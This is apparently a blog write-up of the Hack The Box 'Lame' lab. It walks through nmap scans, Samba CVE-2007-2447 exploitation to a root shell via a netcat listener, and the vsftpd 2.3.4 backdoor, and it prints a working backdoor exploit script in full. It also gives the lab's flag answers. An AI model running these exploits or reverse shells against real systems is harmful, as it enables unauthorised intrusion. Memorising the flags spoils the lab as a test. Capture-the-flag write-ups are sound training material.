Post cover image

October 31, 2026

HTB Lame: Writeup

Below you can read how I solved the Lame machine by Hack The Box. I strongly recommend that you attempt to solve the machine before reading…

By ColdByte

6 min read

Below you can read how I solved the Lame machine by Hack The Box. I strongly recommend that you attempt to solve the machine before reading this writeup.

# Enumeration

## Task 1

How many of the nmap top 1000 TCP ports are open on the remote host?

I started by scanning the target using Nmap to identify open TCP ports. By default, Nmap scans the 1,000 most common ports.

$ nmap -T4 10.129.93.45
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 2.03 seconds

Based on the response, I repeated the scan with -Pn to skip host discovery:

$ nmap -T4 10.129.93.45 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:51 UTC
Nmap scan report for 10.129.93.45
Host is up (0.031s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Answer to task one: 4

## Task 2

What version of VSFTPd is running on Lame?

To identify service versions and additional information, I ran another scan using -sV for version detection and -sC to run Nmap's default scripts:

$ nmap -T4 10.129.93.45 -Pn -sV -sC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-31 13:54 UTC
Nmap scan report for 10.129.93.45
Host is up (0.028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.15.218
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2026-10-31T09:54:20-04:00
|_clock-skew: mean: 1h59m41s, deviation: 2h49m44s, median: -20s

The scan revealed several interesting findings. FTP uses vsftpd 2.3.4 with anonymous login enabled. SSH uses OpenSSH 4.7p1. SMB uses Samba 3.0.20-Debian with SMB message signing disabled.

Answer to task 2: 2.3.4

# Vulnerability Identification and Exploitation

## Task 3

There is a famous backdoor in VSFTPd version 2.3.4, and a Metasploit module to exploit it. Does that exploit work here?

I started with searching ExploitDB for vulnerabilities affecting vsftpd 2.3.4 and found an exploit called vsftpd 2.3.4 — Backdoor Command Execution (Metasploit). Since this is a Metasploit module, I opened msfconsole and searched for the exploit and found this exploit:

None

I then configured the options and executed the exploit. However, it failed to establish a session.

Answer: no

## Task 4

What version of Samba is running on Lame? Give the numbers up to but not including "-Debian".

I found this initially. The Nmap scan identified Samba 3.0.20-Debian running on port 445.

Answer: 3.0.20

## Task 5

What 2007 CVE allows for remote code execution in this version of Samba via shell metacharacters involving the SamrChangePassword function when the "username map script" option is enabled in smb.conf?

To find potential exploits affecting Samba 3.0.20, I searched for the version in Metasploit. The search returned two results, one of which matched the vulnerability described in the question:

None

I then ran info on the exploit to see its description. At the bottom there are several references to CVE-2007–2447:

None

According to CVE.org, the vulnerability affects Samba 3.0.0 through 3.0.25rc3 and allows remote code execution through shell metacharacters in certain MS-RPC functions, including SamrChangePassword when the username map script option is enabled.

Answer: CVE-2007-2447

## Task 6

Exploiting CVE-2007–2447 returns a shell as which user?

I first attempted to exploit the vulnerability using the Metasploit module I found previously. However, the exploit failed with the following error:

None

"Luckily", the error appears to be related to a local issue — not the vulnerability itself. I therefore searched for an alternative exploit and found one on GitHub.

I first started a Netcat listener on port 4444:

$ nc -lvnp 4444

I then executed the Python script, specifying the target IP address, SMB port, my VPN IP address and the listener port:

None

Shortly afterwards, Netcat received the connection. To identify which user the shell was running as, I executed whoami:

None

Answer: root

## Task 7–8

Submit the flag located in the makis user's home directory and root's home directory.

Since the shell was already running as root, I could read both flags:

None

Answer 7: 8ab0c0cc747b7592f8906de9918be44e

Answer 8: 26786617c32a70fd9e96528d4b343d00

# Investigating VSFTPd

## Task 9

We'll explore a bit beyond just getting a root shell on the box. While the official writeup doesn't cover this, you can look at 0xdf's write-up for more details. With a root shell, we can look at why the VSFTPd exploit failed. Our initial nmap scan showed four open TCP ports. Running netstat -tnlp shows many more ports listening, including ones on 0.0.0.0 and the boxes external IP, so they should be accessible. What must be blocking connection to these ports?

Since netstat -tlnp shows more listening ports than Nmap found, I suspected that a firewall was blocking incoming connections. To investigate, I inspected the firewall rules using iptables -L -n -v.

The output, seen on the left below, contains several UFW chains including ufw-user-input. That chain contains rules allowing incoming connections on TCP ports 21, 22, 139, 445 and 3632.

None None

To verify that these ports (including the "extra" 3632) are accessible, I performed another Nmap scan:

None

This confirms that all five ports were open. All together, this supports my conclusion that the firewall was restricting access.

Answer: firewall

## Task 10

When the VSFTPd backdoor is trigger, what port starts listening?

To investigate the backdoor, I found another exploit on ExploitDB. I have pasted the exploit below. As we can see, the script attempts to open another connection using tn2 = Telnet(host, 6200).

from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit

def handler(signal_received, frame):
    # Handle any cleanup here
    print('   [+]Exiting...')
    exit(0)

signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line

user="USER nergal:)"
password="PASS pass"

tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")

tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()

Answer: 6200

## Task 11

When the VSFTPd backdoor is triggered, does port 6200 start listening on Lame?

To verify if port 6200 starts listening after the backdoor is triggered, I downloaded the exploit and ran it against the target:

None

The script did not establish a shell. However, since I already had root, I inspected the port 6200 using netstat — before and after running the script:

None

This confirms that the backdoor had been triggered and that VSFTPd was listening on port 6200.

Answer: yes